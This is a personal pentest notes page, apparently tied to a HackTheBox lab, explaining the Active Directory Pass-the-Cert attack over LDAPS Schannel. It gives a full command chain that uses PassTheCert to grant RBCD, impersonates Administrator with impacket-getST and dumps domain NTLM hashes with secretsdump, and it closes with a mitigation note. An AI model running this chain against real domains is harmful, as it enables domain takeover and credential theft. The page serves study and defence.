Haiyahhh Hack Vault

Active Directory - Pass-the-Cert (LDAP Schannel Authentication)

3 min read

🧠 Active Directory - Pass-the-Cert (LDAP Schannel Authentication)

What is it?

  • Concept: Kerberos PKINIT isn’t the only thing a certificate can authenticate — Active Directory’s LDAPS endpoint also supports Schannel (TLS mutual authentication), where presenting a client certificate during the TLS handshake authenticates the LDAP bind directly, with no Kerberos exchange involved at all. Any certificate obtained via Active Directory - ESC1 (Misconfigured Certificate Template) Abuse, Active Directory - ESC9 (No Security Extension) Abuse, or Active Directory - Shadow Credentials Attack works here too, independent of whether the domain’s KDC even supports PKINIT.
  • Impact: Sidesteps the KDC_ERR_PADATA_TYPE_NOSUPP dead end entirely — turns a certificate into a fully authenticated LDAP session as the identity it represents, sufficient for any LDAP write that identity is authorized to make.

How it works

  1. A certificate obtained through any ADCS/Shadow-Credentials attack comes as a .pfx, bundling both the public certificate and private key.
  2. The private key and certificate are split into separate PEM files (.key/.crt) — the format LDAPS/Schannel client libraries expect.
  3. A tool (e.g. PassTheCert) opens a TLS connection to LDAPS (port 636) presenting that certificate; the DC’s Schannel provider maps it to the AD account it identifies and completes the bind as that account — no ticket, no password, no PKINIT support required on the KDC’s part.
  4. With an authenticated LDAP session as the impersonated identity, any LDAP write that identity is authorized to make is now available — most usefully, writing msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object to set up a normal Active Directory - Resource-Based Constrained Delegation (RBCD) Attack from there.

Exploitation

Prerequisites

  • A valid certificate + private key (.pfx) for a target identity
  • LDAPS (port 636) reachable on a Domain Controller

Attack Vectors

# Split the PFX into separate key/cert PEM files
openssl pkcs12 -in '<identity>.pfx' -nocerts -out '<identity>.key' -nodes
openssl pkcs12 -in '<identity>.pfx' -clcerts -nokeys -out '<identity>.crt'
git clone https://github.com/AlmondOffSec/PassTheCert.git
 
# Authenticated as <identity> over LDAPS/Schannel, grant RBCD to a computer
# account under attacker control (self-RBCD if <identity> is a computer account
# and it already has WriteAccountRestrictions-equivalent rights on itself)
python3 PassTheCert/Python/passthecert.py -dc-ip <dc_ip> -crt '<identity>.crt' -key '<identity>.key' -domain '<domain>' -port 636 -action write_rbcd -delegate-to '<target_computer>$' -delegate-from '<attacker_computer>$'
# From here it's a normal RBCD S4U chain
impacket-getST -spn '<service>/<target_fqdn>' -impersonate Administrator '<domain>/<attacker_computer>$:<attacker_computer_pass>'
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass '<domain>/Administrator@<target_fqdn>' -just-dc-ntlm

Notes

  • KDC_ERR_PADATA_TYPE_NOSUPP from certipy-ad auth means the KDC doesn’t support Kerberos PKINIT — this is a KDC-side limitation, not a sign the certificate itself is invalid or that the ADCS attack failed. Pass-the-Cert works regardless, since it never touches Kerberos.
  • passthecert.py isn’t limited to write_rbcd — it’s a general authenticated-LDAP-session wrapper, so any write the impersonated identity is authorized for (group membership, other attribute writes) is reachable the same way.
  • A certificate identifying a computer account (like one obtained for the DC’s own machine account, or an attacker-created computer with ESC1) is what makes the “self-RBCD” pattern possible: the computer account writes delegation rights onto itself, then immediately uses those rights via S4U2Proxy.

Mitigation

  • Fix: Restrict or disable Schannel-based LDAP authentication where it isn’t operationally required, and apply the same certificate-mapping hardening (strong SID binding, StrongCertificateBindingEnforcement) to LDAPS/Schannel as to Kerberos PKINIT — a certificate that’s weakly bound is exploitable through whichever authentication path is left open, not just the Kerberos one.
FileCreated
HTB - AuthorityJuly 23, 2026

References:

Graph View

Backlinks